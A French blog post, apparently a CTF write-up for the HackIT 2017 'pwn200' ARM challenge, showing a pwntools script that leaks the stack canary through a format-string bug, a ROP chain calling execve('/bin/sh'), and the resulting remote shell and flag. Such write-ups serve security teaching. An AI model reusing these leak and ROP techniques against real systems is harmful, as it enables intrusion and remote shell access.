---layout: posttitle: "HackIT CTF"date: 27 Août 2017comments: truecategories: wu---Le binaire presente les caractéristiques suivantes:```Filename                 pwn200File format              ELF32Architecture             armEndianess                little endianEntry point              0x10370Loadables segments       2Sections                 31
NX bit                   enabledSSP                      enabledRelro                    unknownRPATH                    unknownRUNPATH                  unknownPIE                      disabled```On observe tout d'abord une présence d'une faille de type format qui nouspermet de faire un dump de la pile. Cela permet de trouver d'une part le canari(offset 517) et d'autre part de localiser la pile (l'offset 3 pointe versl'offset 5 de la pile). Le code suivant récupère ces deux informations:```p=remote(host,port)p.recvuntil("> ")p.sendline('%3$08x%517$08x')b=p.recvuntil("> ")adr_pile=int(b[0:8],16)-5*4canari=int(b[8:16],16)print '[+] pile ',hex(adr_pile)print '[+] canari ',hex(canari)```On observe en suite un bufferoverflow. Le binaire étant en statique, on peutfaire un ROP développant un shell. Les gadgets sont```svc48lr=0x00053520 # svc #0 ; pop {r4, r5, r6, r7, r8, lr} ; bx lrpopr0=0x00070068 # pop {r0, lr} ; bx lrpopr1=0x00070590 # pop {r1, lr} ; bx lrpopr3=0x00010160 # pop {r3, lr} ; bx lrpopr45678=0x00011184 # pop {r4, r5, r6, r7, r8, lr} ; bx lrpopr47=0x0002a6f8 # pop {r4, r7, lr} ; bx lrgadget=0x0004f17c # mov r2, r4 ; mov r1, r7 ; mov r0, r6 ; mov lr, pc ; bx r3```Le ROP lui même est classique faisant un execve("/bin/sh",0,0)```rop=""offset=adr_pile+0x81c+4* 14rop=rop+p32(0) # r4 (ira dans r2)rop=rop+p32(adr_pile) # r11
rop=rop+p32(popr3) # pop {r3, lr} ; bx lrrop=rop+p32(popr47) # pop {r4, r7, lr} ; bx lr -> dans r3
rop=rop+p32(popr45678) # pop {r4, r5, r6, r7, r8, lr} ; bx lrrop=rop+p32(0) # r4 -> r2rop=rop+p32(adr_pile) # r5rop=rop+p32(offset) # r6 -> r0rop=rop+p32(0) # r7 ira dans r1rop=rop+p32(adr_pile) # r8rop=rop+p32(gadget) # mov r2, r4 ; mov r1, r7 ; mov r0, r6 ; mov lr, pc ; bx r3  ---> là r2=0, r1=offset, r0 = offset
rop=rop+p32(adr_pile) # r4rop=rop+p32(11) # r7rop=rop+p32(svc48lr) # svc #0rop=rop+"/bin/sh"+chr(0)
p.sendline(PAD+rop)p.interactive()```avec un PAD de longueur 1024. On obtient le déroulement suivant:```[*] '/home/francois/BFF/beers4flags/writeups/2017/hackIT/pwn200/pwn200'    Arch:     arm-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x10000)[+] Opening connection to 165.227.98.55 on port 3333: Done[+] pile  0xbef69458[+] canari  0xf0406900
[*] Switching to interactive mode$ cd home/pwn200$ cat fla*h4ck1t{Sarah_would_be_proud}$ [*] Closed connection to 165.227.98.55 port 3333```